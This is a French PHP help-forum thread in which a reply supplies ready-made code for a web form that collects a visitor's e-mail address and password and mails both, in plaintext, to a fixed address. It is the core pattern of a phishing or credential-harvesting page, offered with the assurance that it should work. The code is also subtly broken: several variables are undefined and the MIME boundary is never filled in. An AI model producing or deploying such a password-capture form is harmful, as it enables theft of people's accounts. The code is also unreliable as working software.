PAGE PHP [Appel aux PROS]
Fermé
Spatico
Messages postés
263
Date d'inscription
mercredi 1 juin 2011
Statut
Membre
Dernière intervention
19 octobre 2021
-
14 juin 2014 à 15:00
Gamer-Actu Messages postés 359 Date d'inscription dimanche 1 mai 2011 Statut Membre Dernière intervention 28 avril 2023 - 14 juin 2014 à 15:31
Gamer-Actu Messages postés 359 Date d'inscription dimanche 1 mai 2011 Statut Membre Dernière intervention 28 avril 2023 - 14 juin 2014 à 15:31
A voir également:
- PAGE PHP [Appel aux PROS]
- Supprimer une page word - Guide
- Appel anonyme - Guide
- Traduire une page - Guide
- Word numéro de page 1/2 - Guide
3 réponses
Gamer-Actu
Messages postés
359
Date d'inscription
dimanche 1 mai 2011
Statut
Membre
Dernière intervention
28 avril 2023
32
14 juin 2014 à 15:09
14 juin 2014 à 15:09
Polux31
Messages postés
6917
Date d'inscription
mardi 25 septembre 2007
Statut
Membre
Dernière intervention
1 novembre 2016
1 204
14 juin 2014 à 15:27
14 juin 2014 à 15:27
Bonjour,
http://www.lephpfacile.com/cours/
http://www.lephpfacile.com/cours/
Gamer-Actu
Messages postés
359
Date d'inscription
dimanche 1 mai 2011
Statut
Membre
Dernière intervention
28 avril 2023
32
Modifié par Gamer-Actu le 14/06/2014 à 15:33
Modifié par Gamer-Actu le 14/06/2014 à 15:33
Essaye un truc comme ça, ça devrait marcher :
Bien sûr, faudra l'adapter à ce que tu veux envoyer via le formulaire.
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $emailAddress = 'nom@domaine.com'; if (!preg_match("#^[a-z0-9._-]+@(hotmail|live|msn).[a-z]{2,4}$#", $mail)) $lineBreak = "\r\n"; else $lineBreak = "\n"; $boundary = "-----=".md5(rand()); $header = 'From: "Formulaire" <robot@domaine.com>' . $lineBreak; $header .= 'Reply-to: "Robot" <robot@domaine.com>' . $lineBreak; $header .= 'MIME-Version: 1.0' . $lineBreak; $header .= 'Content-Type: multipart/alternative;' . $lineBreak . ' boundary="$boundary"' . $lineBreak; $messageContent = ' <!DOCTYPE html> <html> <header> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> </header> <body> E-mail : <strong>' . $_POST['email'] . '</strong> <br>Mot de passe : <strong>' . $_POST['pwd'] . '</strong> </body> </html> '; $message .= $lineBreak . '--' . $boundary . '--' . $lineBreak; $message .= 'Content-Type: text/html; charset="ISO-8859-1"' . $lineBreak; $message .= 'Content-Transfer-Encoding: 8bit' . $lineBreak; $message .= $lineBreak . $messageContent . $lineBreak; $message .= $lineBreak . '--' . $boundary . '--' . $lineBreak; $message .= $lineBreak . '--' . $boundary . '--' . $lineBreak; mail($emailAddress, 'Formulaire', $message, $header); } else { ?> <form class="form-horizontal col-lg-12" method="post" action=""> <div class="row"> <div class="form-group"> <label class="col-lg-3" for="email">E-mail</label> <div class="col-lg-9"> <input id="email" name="email" type="text" placeholder="" class="form-control" required> </div> </div> </div> <div class="row"> <div class="form-group"> <label class="col-lg-3" for="pwd">Mot de passe</label> <div class="col-lg-9"> <input id="pwd" name="pwd" type="password" placeholder="" class="form-control" required> </div> </div> </div> <div class="form-group"> <button class="pull-right btn btn-default">Envoyer</button> </div> </form> <?php }
Bien sûr, faudra l'adapter à ce que tu veux envoyer via le formulaire.